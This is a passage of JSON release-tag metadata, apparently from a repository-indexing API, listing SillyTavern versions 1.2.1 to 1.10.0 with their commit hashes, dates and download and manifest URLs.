e":"1.10.0","sha":"eb8d4b1f63d7ff9580214265faf431de95fa2186","kind":"commit","published_at":"2023-08-29T17:27:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0/manifests"},{"name":"1.9.7","sha":"e4d1463a22554fa5406e806ebb3c2e2c96891143","kind":"commit","published_at":"2023-08-10T09:50:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7/manifests"},{"name":"1.9.6","sha":"9b5e082a265ca1081932bef1ff85b8d0ccfeabd8","kind":"commit","published_at":"2023-08-08T20:29:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6/manifests"},{"name":"1.9.5","sha":"6c909acea617724d6165566ed27a89242ac966cf","kind":"commit","published_at":"2023-08-08T19:54:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5/manifests"},{"name":"1.9.4","sha":"29d841a50b89fe10cbbfa7b22c6f82b1dc7cf096","kind":"commit","published_at":"2023-07-31T09:54:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4/manifests"},{"name":"1.9.3","sha":"675cabb7e30faf4931614175af2f4a8afcf042d3","kind":"commit","published_at":"2023-07-29T19:58:58.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3/manifests"},{"name":"1.9.2","sha":"ef3c8a19fe5ec487af029608377636f8c892ff9c","kind":"commit","published_at":"2023-07-22T11:19:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2/manifests"},{"name":"1.9.1","sha":"ef8a6d61279f19eb866acbfb54a5097bf342cc6e","kind":"commit","published_at":"2023-07-21T16:18:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1/manifests"},{"name":"1.9.0","sha":"06912dba0ae7b1df7d75dbe1da52a7e5ab7471ba","kind":"commit","published_at":"2023-07-20T11:25:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0/manifests"},{"name":"1.8.4","sha":"e3e2b73b99de7139b61a2c253397cf0230ca444f","kind":"commit","published_at":"2023-07-19T08:53:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4/manifests"},{"name":"1.8.3","sha":"243e89091a78d5c31d7773473d57197613dc428a","kind":"commit","published_at":"2023-07-07T09:26:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3/manifests"},{"name":"1.8.2","sha":"aed6e3413accb8037bb776672ee7cebecca23a59","kind":"commit","published_at":"2023-07-05T13:11:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2/manifests"},{"name":"1.8.1","sha":"c922f17f092da5f5cfa1dc786b6f31ecf1c4444c","kind":"commit","published_at":"2023-07-04T08:49:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1/manifests"},{"name":"1.8.0","sha":"d6fd5455e6a21cb35b3d6ba1408d8575bd5e9e15","kind":"commit","published_at":"2023-07-03T16:23:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0/manifests"},{"name":"1.7.3","sha":"2bbc40a79671bc29dc168f5fa51a2597c47afcba","kind":"commit","published_at":"2023-06-29T09:20:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3/manifests"},{"name":"1.7.2","sha":"3b99f7839bac82da6d9ad6e01e25a1b31be5f0ca","kind":"commit","published_at":"2023-06-28T22:10:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2/manifests"},{"name":"1.7.1","sha":"b09ea054dfbe457d00c57c0246f96ee46ce3c521","kind":"commit","published_at":"2023-06-15T21:24:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"a7a7ec051834f5ee1bdd8273b978273d18ba07bd","kind":"commit","published_at":"2023-06-15T12:11:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0/manifests"},{"name":"1.6.8","sha":"6541d3e741f78cffec94b8a4f01d98339fa46316","kind":"commit","published_at":"2023-06-09T19:35:17.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8/manifests"},{"name":"1.6.7","sha":"b1d5637fcf394331bdd541028ee52715474c7a52","kind":"commit","published_at":"2023-06-07T20:40:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7/manifests"},{"name":"1.6.6","sha":"c299ef0a86e1a1a0eba2ae9ad582bbae70c03d66","kind":"commit","published_at":"2023-06-04T01:29:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6/manifests"},{"name":"1.6.5","sha":"77f76ae31520477ea4da0ed4cf49780295654077","kind":"commit","published_at":"2023-06-01T15:55:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5/manifests"},{"name":"1.6.4","sha":"bf7f04e3b29a04c86a743eb681881736196d07ea","kind":"commit","published_at":"2023-06-01T08:18:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"83c875d8dcac579d271a985d5ccedd69bd257388","kind":"commit","published_at":"2023-06-01T07:13:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3/manifests"},{"name":"1.6.2","sha":"b359dd1e81e653a90cd04a2b61cc71d8b93e66ef","kind":"commit","published_at":"2023-05-30T23:09:54.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"747567466f39658a26066d13be37ed16893fee8d","kind":"commit","published_at":"2023-05-30T22:24:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"9ff643c489d3d18c0f562004a2d80973a1a0efb7","kind":"commit","published_at":"2023-05-30T17:40:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0/manifests"},{"name":"1.5.5","sha":"061bad7d1fe8fc929b78d14471e81da503f3b645","kind":"commit","published_at":"2023-05-22T09:04:09.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.5/manifests"},{"name":"1.5.4","sha":"da76933c9514bd0efb374843ac5170c52ff915c5","kind":"commit","published_at":"2023-05-19T08:57:03.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.4/manifests"},{"name":"1.5.3","sha":"419afc783ea106910aff28d4cb4a41ca80016df5","kind":"commit","published_at":"2023-05-14T18:54:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"88a726d9ad906c1dcd61f8ff9069513f7fda5474","kind":"commit","published_at":"2023-05-14T14:23:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"08be78620d24b17b3ceb78cd308838877b18d1c4","kind":"commit","published_at":"2023-05-12T17:52:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.1/manifests"},{"name":"1.5.0-preview","sha":"4028ddb90ad7d38ac37551c2f41991b2c6300ed0","kind":"commit","published_at":"2023-05-08T16:06:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.5.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.5.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.5.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.5.0-preview/manifests"},{"name":"1.4.9","sha":"9d9aac014a1c2e526038a24c121e23cdab6317a8","kind":"commit","published_at":"2023-04-26T08:57:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.9/manifests"},{"name":"1.4.8","sha":"21586ab139e4708104308aaabc3b17937d4dbd08","kind":"commit","published_at":"2023-04-22T18:49:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.8/manifests"},{"name":"1.4.1","sha":"3b74d5ace700ff452d9fea8eac2aef50291f8306","kind":"commit","published_at":"2023-04-21T20:33:40.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"be307b11078936f5c9f7d8866a1b7ee5d528d83e","kind":"commit","published_at":"2023-04-20T20:16:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0/manifests"},{"name":"1.4.0-preview","sha":"2e5ce1485bc27929178f91bf33937173028fac7d","kind":"commit","published_at":"2023-04-18T21:52:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.4.0-preview","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.4.0-preview","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.4.0-preview","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.4.0-preview/manifests"},{"name":"1.3.3","sha":"415af67ea3a7335c634457595d28fbcf9dc97edb","kind":"commit","published_at":"2023-04-11T20:08:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.3/manifests"},{"name":"1.3.2","sha":"7277622c249f7ca865bb1f29b062e6e8b2228f56","kind":"commit","published_at":"2023-04-10T18:45:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"66f7d55f767eb480b8e75676156992f976d5fced","kind":"commit","published_at":"2023-04-09T21:08:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.1/manifests"},{"name":"1.3.0","sha":"0f11aab089a9426bea915cb2bd10d5d7e0f52e1f","kind":"commit","published_at":"2023-04-09T17:18:19.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.3.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.3.0/manifests"},{"name":"1.2.3","sha":"41a41732d185c69926ca4cc048a5bd5a7ee99e32","kind":"commit","published_at":"2023-03-31T18:57:45.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"61267107952a7fd446d8746ca4e305deea8421a8","kind":"commit","published_at":"2023-03-30T16:49:33.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"1dc92ffff5597ed025c42b9333bcf5053c49cbb8","kind":"commit","published_at":"2023-03-30T08:58:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.2.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl"